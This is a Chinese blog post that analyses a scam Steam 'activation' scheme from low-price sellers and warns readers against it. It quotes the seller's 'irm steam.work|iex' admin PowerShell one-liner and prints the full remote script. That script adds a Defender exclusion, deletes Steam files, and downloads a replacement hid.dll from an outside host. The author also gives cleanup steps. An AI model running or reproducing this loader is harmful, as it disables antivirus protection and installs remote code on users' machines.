不知道各位有没有遇到过这种超低价的商家?今天我们来解析一下其原理。

以下是商家提供的教程的截图,很明显这种需要搞一堆东西的,显然不是正版(这种狗屎商家往往会忽悠小白说没有任何问题)

我们可以看到它要用管理员权限的PowerShell(权限要的还真TM高),输入 irm steam.work|iex

首先我解释一下这个代码是干什么的

在 PowerShell 中,irmInvoke-RestMethod 的别名,而 iexInvoke-Expression 的别名。

irm steam.work | iex 的含义可以分解为以下步骤:

  1. irm steam.work:向 steam.work 这个 URL 发送请求,并尝试获取该 URL 返回的内容。
  2. iex:将传入的字符串作为 PowerShell 脚本来执行。这里,它会执行从 irm 获取的内容。

因此,irm steam.work | iex 会做的事情是:

  • steam.work 发送 HTTP 请求,
  • 将返回的内容作为 PowerShell 代码执行。

我们可以在PowerShell中运行以下代码(将返回的内容保存为response.txt),获取到这个代码返回的内容来就行研究

Invoke-WebRequest -Uri "http://steam.work" -OutFile "response.txt"

img

以下是返回的内容

cls
Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r" -ForegroundColor:blue
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r" -ForegroundColor:blue
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r" -ForegroundColor:blue
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r" -ForegroundColor:blue
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r" -ForegroundColor:blue
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r" -ForegroundColor:blue
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r" -ForegroundColor:blue
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r" -ForegroundColor:blue
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r" -ForegroundColor:blue
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r" -ForegroundColor:blue
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r" -ForegroundColor:blue
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r" -ForegroundColor:blue
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r" -ForegroundColor:blue

$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
 if (Test-Path $filePathToDelete) {
    Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
    Remove-Item -Path $desktopFilePathToDelete
}

$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = -join ($env:LOCALAPPDATA,"\Steam")
if ((Test-Path $steamRegPath)) {
    $properties = Get-ItemProperty -Path $steamRegPath
    if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
        $steamPath = $properties.SteamPath
    }
}

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+ivt+mHjeaWsOaJk+W8gFBvd2VyIHNoZWxsIOaJk+W8gOaWueW8j+S7peeuoeeQhuWRmOi6q+S7vei/kOihjF0="))
    Write-Host "$TextShow" -ForegroundColor:red
    return;
}

function PwStart() {
    if ($steamPath -eq ""){
        Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
        return;
    }
    
    Write-Host "[ServerStart        OK]" -ForegroundColor:green
    Stop-Process -Name steam* -Force -ErrorAction Stop
    Start-Sleep 2
    if(Get-Process steam* -ErrorAction Stop){
        TASKKILL /F /IM "steam.exe" | Out-Null
        Start-Sleep 2
    }

    if (!(Test-Path $localPath)) {
        md $localPath | Out-Null
        if (!(Test-Path $localPath)) {
            New-Item $localPath -ItemType directory -Force | Out-Null
        }
    }

    try{
        Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
        Start-Sleep 3
    }catch{}

    Write-Host "[Result->0          OK]" -ForegroundColor:green

    try{
        $d = $steamPath + "/version.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        $d = $steamPath + "/user32.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        $d = $steamPath + "/steam.cfg"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        $d = $steamPath + "/hid.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        
        $d = $steamPath + "/hid"
    }catch{
        $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+W8guW4uOaui+eVmeivt+aMieeFp+i3r+W+hOWIoOmZpOaWh+S7tl0tPg=="))
        Write-Host "$TextShow[$d]" -ForegroundColor:red
        return;
    }

    $downApi = "http://1.steam.work/api/integral/pwsDownFile"
    
    irm -Uri $downApi -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop
    $newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll")
    Rename-Item -Path $d -NewName $newFilePath
    
    Write-Host "[Result->1          OK]" -ForegroundColor:green
    $d = $localPath + "/localData.vdf"
    irm -Uri $downApi -Headers @{ Referer = "localData.vdf" } -OutFile $d -ErrorAction Stop
    Write-Host "[Result->2          OK]" -ForegroundColor:green
    
    Start-Sleep 1

    Start steam://
    $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+i/nuaOpeacjeWZqOaIkOWKn+WcqFN0ZWFt5YWl5r+A5rS7IDPnp5LlkI7oh6pd"))
    Write-Host "$TextShow" -ForegroundColor:green
    Start-Sleep 3
    
    $processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
    Stop-Process -Id $processID.ParentProcessId -Force
    exit

}

PwStart

逐步分析,首先,脚本打印了一个大段的 ASCII 艺术,展示了以 "Steam" 为主题的图案,然后删除可能存在的两个 x.ps1 文件:

  • 第一个文件位于用户主目录($env:USERPROFILE)。
  • 第二个文件位于桌面目录。
$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
if (Test-Path $filePathToDelete) {
    Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
    Remove-Item -Path $desktopFilePathToDelete
}

接着尝试从 Windows 注册表中获取 Steam 安装路径。它首先查找 HKCU:\Software\Valve\Steam 注册表项,并且检查该项是否包含 SteamPath 属性。如果找到该属性,则将其值赋给 $steamPath 变量。

$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = -join ($env:LOCALAPPDATA,"\Steam")
if ((Test-Path $steamRegPath)) {
    $properties = Get-ItemProperty -Path $steamRegPath
    if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
        $steamPath = $properties.SteamPath
    }
}

该部分检查当前 PowerShell 会话是否具有管理员权限。

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+ivt+mHjeaWsOaJk+W8gFBvd2VyIHNoZWxsIOaJk+W8gOaWueW8j+S7peeuoeeQhuWRmOi6q+S7vei/kOihjF0="))
    Write-Host "$TextShow" -ForegroundColor:red
    return;
}

接下来的部分是核心功能部分,它被封装在 PwStart 函数中。该函数做了以下几件事:

  • 检查 Steam 安装路径是否存在: 如果没有正确安装 Steam,会显示错误信息。
  • 关闭正在运行的 Steam 进程: 如果 Steam 正在运行,脚本会尝试强制终止所有名为 steam 的进程。
  • 清理 Steam 目录中的特定文件: 删除 Steam 安装目录下的 version.dlluser32.dllsteam.cfghid.dll 文件。如果这些文件存在,它们会被删除。
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 2
if(Get-Process steam* -ErrorAction Stop){
    TASKKILL /F /IM "steam.exe" | Out-Null
    Start-Sleep 2
}
  • 下载特定文件: 使用 irmInvoke-RestMethod)命令从远程获取文件,并将其保存到本地路径。下载的文件会被重命名为 .dll 文件。
$downApi = "http://1.steam.work/api/integral/pwsDownFile"
irm -Uri $downApi -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop
$newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll")
Rename-Item -Path $d -NewName $newFilePath
  • 启动 Steam: 一旦上述操作完成,脚本会启动 Steam 客户端。通过 Start steam:// 启动 Steam。
Start steam://
  • 退出脚本: 最后,脚本会根据进程 ID 获取并终止一个与 Steam 相关的进程。
$processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
Stop-Process -Id $processID.ParentProcessId -Force
exit

总的来说这个脚本做了以下几件事:

  1. 删除文件:删除可能存在的 x.ps1 文件。
  2. 关闭 Steam 进程:如果 Steam 正在运行,强制关闭。
  3. 清理 Steam 目录中的 DLL 文件:删除一些特定的文件。
  4. 下载并重命名文件:从远程服务器下载文件并重命名为 .dll 文件。
  5. 启动 Steam:最终启动 Steam 客户端。

说完了脚本的内容我们再来分析一下,它可以实现破解的原理。细心的朋友可能发现了这个脚本删除 Steam 安装目录下的 version.dlluser32.dllsteam.cfghid.dll 文件

其中hid.dll就是关键,脚本替换你steam安装目录下的hid.dll文件,这是一个动态连接库文件,它通过替换该文件实现了让你的激活请求不走官方的激活,走商家提供的被破解的动态连接库,实现了让你输入卖家给的CDK之后显示成功。

同时对保存当前用户的系统信息的文件也进行了替换,实现了骗过G胖让你下载游戏。

DLL 文件涉及的内容比较复杂,短时间内难以讲完,有兴趣的朋友可以去看看这个狗日的有没有搞一些花里胡哨的东西。

说了这么多,接下来我们来说一说用这种方法得到游戏会有什么后果,以及一些处理方法。

后果

大概率会导致你的steam红信或者直接封号

处理方法

如果你已经买了并激活了,首先先把号退了,进任务管理器彻底结束steam进程,防止在补救中途被制裁。

然后卸载steam,记住一定要去C:\Users\用户名\AppData\Local检查SteamActive和Steam目录是否删除,不然是没有效果的。

接着管理员运行Powershell,输入以下命令,检查在 Windows Defender 中配置的排除路径,这种激活法很容易被杀毒软件报毒的,因此通常它们会把自己的假动态链接库文件添加到 Windows Defender的排除路径,也就是白名单(如果你开的是第三方杀毒软件的检查杀毒软件的白名单,找到该文件所在的地址,删除它)。

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

如果找到了和steam相关的文件,就使用Remove-MpPreference -ExclusionPath 文件位置删除它

最后一步,举报那个狗日的。

相关链接

文章提到的狗日的商家的教程链接:https://www.kdocs.cn/l/cj8HIYkeZioP

参考文章地址:https://www.bilibili.com/opus/912188403001327621

文章目录